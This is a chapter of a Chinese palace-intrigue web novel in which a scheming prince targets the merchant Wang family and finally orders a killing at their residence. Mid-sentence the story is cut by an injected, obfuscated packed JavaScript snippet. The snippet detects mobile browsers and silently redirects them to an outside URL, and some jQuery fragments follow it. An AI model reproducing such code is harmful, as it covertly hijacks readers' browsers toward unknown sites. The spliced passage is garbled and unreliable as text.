12. 大礼

自季珩宫宴回府后,一直以腿伤避客,闭门不出。


衡京一直风平浪静。


像是那位王爷的回京,只是一场虚幻的大梦。连带着那宫宴上的血腥场景,也被人忘得一干二净。


扶月楼上


一间普通包厢内,坐着一位戴着面具的男子,身姿颀长,眉目噙笑。


分明眉眼清润,眼底却隐隐泛着阴戾。


看着人时,像是一只兴味盎然捕捉猎物的黑蛇。


目光黏在猎物的身上,将它紧紧缠绕,却又恶趣味地不直接抓住。


欣赏猎物在绝望中痛苦挣扎,偶地放出一丝生机,又亲手将其掐灭。


亲手抓住希望,最后又眼睁睁看着它从手中消逝,被他盯上的人,注定如堕地狱,在周而复始的逗弄中湮灭所有希望,最后心绝而死。


季珩坐在轮椅上,面上覆着半张银质面具,长指曲着在木桌上轻敲。


“啧。”


扶月楼开业不过数月,便已名传衡京,每日往来者络绎不绝,都为一尝这楼中珍馐。


季珩偏头看向下方熙熙攘攘的百姓,半掀眼皮,原本兴味的目光淡下去,染上不耐的倦怠:


“吵嚷。”


坐在他对面的男子摇着折扇,瘪嘴应他:“吵嚷你还来这儿?”


季珩执着茶盏抿了口,瞥向楼门处的目光凝在某处,忽地,唇角微勾:


“我的人,查到了些有趣的事情。”


一处马车停在楼前,从上面跳下来一个金衣金冠的公子。


王秋朝笑得纯澈,上下打量着楼内的情况,目光亮晶晶的,像个没长大的小孩子。


可据季珩的人查探,此楼在沈清臣名下,平时跑来跑去上下打理之人却都是王秋朝。


心思纯良,周旋在一群商场老狐狸中时却分毫不含糊,不惜拿出皇商名声来,硬生生在衡京一众酒楼里撬开一块位置,坐得稳稳当当。


王家。


经商世家,富可敌国。


虽说封了东安侯,但有名无实,不可世袭,终归只是个商户,就其本身而言,不足为惧。


但若是他背靠沈家……


那可就不同了。


沈家千年世家,势力盘根错节,门客无数,历代家主皆身居高位,难保不会生出野心。


虽说沈岳均有意从朝堂隐退,明哲保身,但若是再加上王家的金钱扶持,沈家下一步的动作如何,可就难说了。


权力、金钱、谋略、兵权。


若是四者兼有其三,沈家再心生野心,季氏江山恐会不稳。


许是季珩的目光太过狠辣阴戾,王秋朝心有所感,下意识抬眸一望,正好撞进那双深不见底的幽黑瞳眸。


王秋朝被吓得后退了两步,站定后蹙眉迎上他的目光,带着警惕。


下一瞬,季珩的目光变得温和,举起茶盏,对着他微微颔首。


“嗯?”


王秋朝愣了下,也回了一笑。


他俯身行了个君子礼,随即便被掌柜带往楼上的包厢,时不时地侧首说些什么,像是在交代事情。


“笑得那般无知模样,瞧着真是惹人厌恶。”


季珩曲肘放在桌上,长指微蜷,在眉心处轻点,投下一片阴影,遮住了他眼底的阴翳。


坐在他对面的人弯唇,声音戏谑:“你又有什么坏主意了?”


“依稀记得,父皇当年在各世家安排眼线时,顺带给王家也放了个进去。”


坐在对面的人一顿。季珩又笑道:“根基尚浅,就先拿他开刀。”


“东熙近些年里,连年征战再加上天灾,国库不是早就空虚了?”


季珩拾起一块桃花糕,启唇浅尝。


殷红的薄唇上落着半片花瓣,清润的眉眼眯起,带着股说不出的妖气靡艳:“本王那三皇兄,力排众议将本王从边关迎回京,此乃大恩。”


“不出半月,本王便能赠他一份大礼。”


-


王秋朝始终记得沈清臣的话,勤勤恳恳地代沈泠处理扶月楼的事情。


事情办完了,就成天往沈府跑。


沈清臣随季砚南下,沈泠又病重求医,家中只剩白姣云和沈岳均了。


王秋朝极讲义气,听闻白姣云要建佛堂,就亲自监工,材料、工匠都用的是最好的,祈福的高僧也是从远山寺中千里迢迢请来的得道高僧。


王家小公子别的不说,就是银钱多。


建完佛堂,白姣云日日进去祈福,不思茶饭,沈岳均无奈得很,就叫王秋朝多到府上去哄她开心。


“白伯母!”


王秋朝人还没到,明朗声音就从佛堂外飘了进来,一下子就打破了沉肃的氛围。


白姣云回头,就见王秋朝穿得一身金灿灿的,伸手跟她打招呼,笑着从外面跑进来。


“秋朝?”


白姣云笑了笑:“你今日怎么又来了?”


“秋朝想伯母……府上的吃食了。”


王秋朝笑嘻嘻的,伸手越过白姣云,在她身后的小案上拿起一块糕点塞进嘴里:“嗯——沈府的糕点就是好吃!比我们府上的那点干巴糕点好吃多了!”


“你啊。”


白姣云坐在椅上,憔悴的脸上总算生了些血色。


她伸手,招呼王秋朝坐在她对面:“来,喜欢吃便多吃些。”


王秋朝行了个礼,跑到白姣云对面坐下,一手拿着块糕点吃,嘴里鼓鼓囊囊的。


“咳咳——”


王秋朝吃得急,有些噎到了。


白姣云吓得亲手倒了杯茶推过去,担忧问道:“没事吧。”


王秋朝把茶饮尽,脖子一梗咽下去,微红的眼尾看着白姣云,嘿嘿一笑:


“没事!”


白姣云松了口气,有些无奈地看着他。


说起来,白姣云也算是看着王秋朝长大的。


沈清臣七岁的时候被选作太子伴读,次年王秋朝也从书院中被选出,三人年少相识,一同吟诗酌酒、纵马观花,感情甚笃。


王秋朝从小便是个极为开朗的孩子,整日笑嘻嘻的,穿的一身金袍,跟个小太阳似的。


他总是跟在清臣后面到处跑,偶地看见她了,也会抬头笑着地一声“伯母”。


思及此,白姣云的笑容不自觉地扩大了些。


天边斜阳将落,金黄的阳光落在屋内,白姣云瞧了眼,对王秋朝唤道:“秋朝,留下用个晚膳吧。”


“现在书院应该快下学了,你沈伯父也……”


“娘子,何事唤我?”


白姣云话还没说完,沈岳均就从佛堂外迈进来,将她一把拢进怀里。


“在说你该回了,我便去叫人传膳。”


白姣云挣开沈岳均的手,耳根通红地嗔了他一眼。


沈岳均这才瞧见王秋朝站在一旁,轻咳了一声,对他颔首:“秋朝来了。”


“嗯……”


王秋朝敏锐地察觉到气氛不对,对着二人俯身行礼,随口编了个理由就脚底抹油似地逃走了:“我娘叫我回家用膳了!伯父伯母再见——”


“欸!”


白姣云伸手过去,想挽留两句,不成想王秋朝跟支箭似的,没一会儿就跑没影了。


“呵。”


白姣云轻笑出声,手指跟沈岳均的紧紧相扣:“夫君,你说秋朝这孩子怎么样?”


“心思纯澈,才思敏捷。分明小小年纪就周旋在一众商户里,却仍有一颗赤子之心。”


沈岳均点点头,语气里也带了三分欣赏:“若非他是商户之子,前途定然不可限量。”


“若是将囡囡许配给他如何?”


白姣云着实是喜欢王秋朝这孩子,近日他时常跑来陪她逗笑,白姣云笑得多了,思虑沈泠身体而变得苍白的面色也好了不少。


她噙着笑:“不如就等囡囡病好之后,我们先去东安侯府拜


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147241|164597||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


访一二?”


沈岳均不知想到什么,目光变得凝重起来。


他张了张嘴,垂在身侧的另一只手紧握成拳,终是没说什么。


良久,他才轻叹一声,看向王秋朝消失的方向:“来日方长,娘子不必着急。”


沈岳均忽地想起,今日在御书房看见的那道奏折,和一叠板上钉钉的谋反证据。


王家,大厦将倾。


纵使他有心相救,却终归力不从心。


沈岳均眼前浮现出今日御书房的场景。


坐在轮椅上的季珩眉眼噙笑,季晔坐在高位上,面色铁青,看着他的目光带着三分寒意:“平之,你知道朕现在不想听你说这些。”


“朕不愿猜忌沈家。”


季晔挥袍离开,漆黑的瞳眸瞥了他一眼:“平之,你最好别让朕失望。”


有时,真相为何,无人在意。


只要那站在高位之人认定了,任凭你再如何辩解,都是徒劳。


沈岳均轻叹一声。


可惜,那孩子恐怕没有来日了。


-


东安侯府。


待王秋朝跑回府上,天边落日早已西坠。


暮色四合,最后一缕阳光消失在檐下时,王秋朝踏进了府门,高声唤人:“娘——爹——”


若照以往,每次王秋朝回来,爹娘都会笑着出来迎他。


今日不说爹娘,整个侯府竟是连个下人的影子都瞧不见。


王秋朝的心里咯噔一下,隐隐升起了些不祥的预感。


待太阳完全落山,天便黑得格外快。


王秋朝看不清前路,磕磕绊绊地往前走着,心中的不安越来越重,声音里都快泛出了些哭腔:“爹!娘!阿福!你们在哪儿?!”


你们在哪儿?


人呢……人呢……为什么一个人都没有……


四周一片漆黑,尚未被点亮的灯笼稀稀落落挂在房檐下,被风吹得呼啦作响。


街边摊贩的叫喊声隐隐约约地响在耳边,更衬得这偌大的东安侯府,一片死寂,半点人声也听不到。


就像一座,空无一人的鬼宅。


可这府内的装饰,分明跟他辰时离府时一般无二。


王秋朝吓得双腿都在打颤,脑中闪过一个诡异的念头。


会不会是……


他们都死了?所以才一个人都不剩?


不可能。


不可能!明明早上还好好的……明明早上还好好的!


豆大的泪珠夺眶而出,王秋朝疯狂摇头,步子因为过分激动而有些蹒跚,一刻不停地找着人影。


没有、没有、全都没有。


王秋朝万念俱灰,顺着院墙瘫倒在地。


夜深露重,耳畔风声摇曳。


王秋朝枯坐在地上,不知道究竟发生了什么事,也不知道爹娘在哪里。就像是他只出去了一趟,回来就孤身一人了。


暗处里,有一双眼睛看着王秋朝。


侯府外隐隐传来甲胄碰撞声,嗒嗒作响。王秋朝起身四顾,忽地被一双手捂住口鼻,直直往后拖去。


与此同时,侯府门外,黑压压地站着一群金甲卫兵。


是只供历代皇帝驱使的亲兵——金鳞卫。


一众金鳞卫前,季珩被恒一推着到了门前。


他懒懒地掀了掀眼皮,瞧了眼宅院上方镶金的“东安侯府”几个大字。


“嗤。”


季珩轻嗤一声。


瘦长的手指轻蜷,转动尾指上的银蛇戒。


坐在轮椅上的清俊公子眉眼噙笑,温润如玉。


却好似无人记得,他曾是久经沙场、杀人如麻的大将军。


仅是坐在此处,目光一凛,便有滔天杀气似波涛席卷而来,直压得人喘不过气。


长指停在轮椅扶手处轻敲。


季珩双眸半敛,薄唇轻启,裹着杀气吐出一字:


“杀。”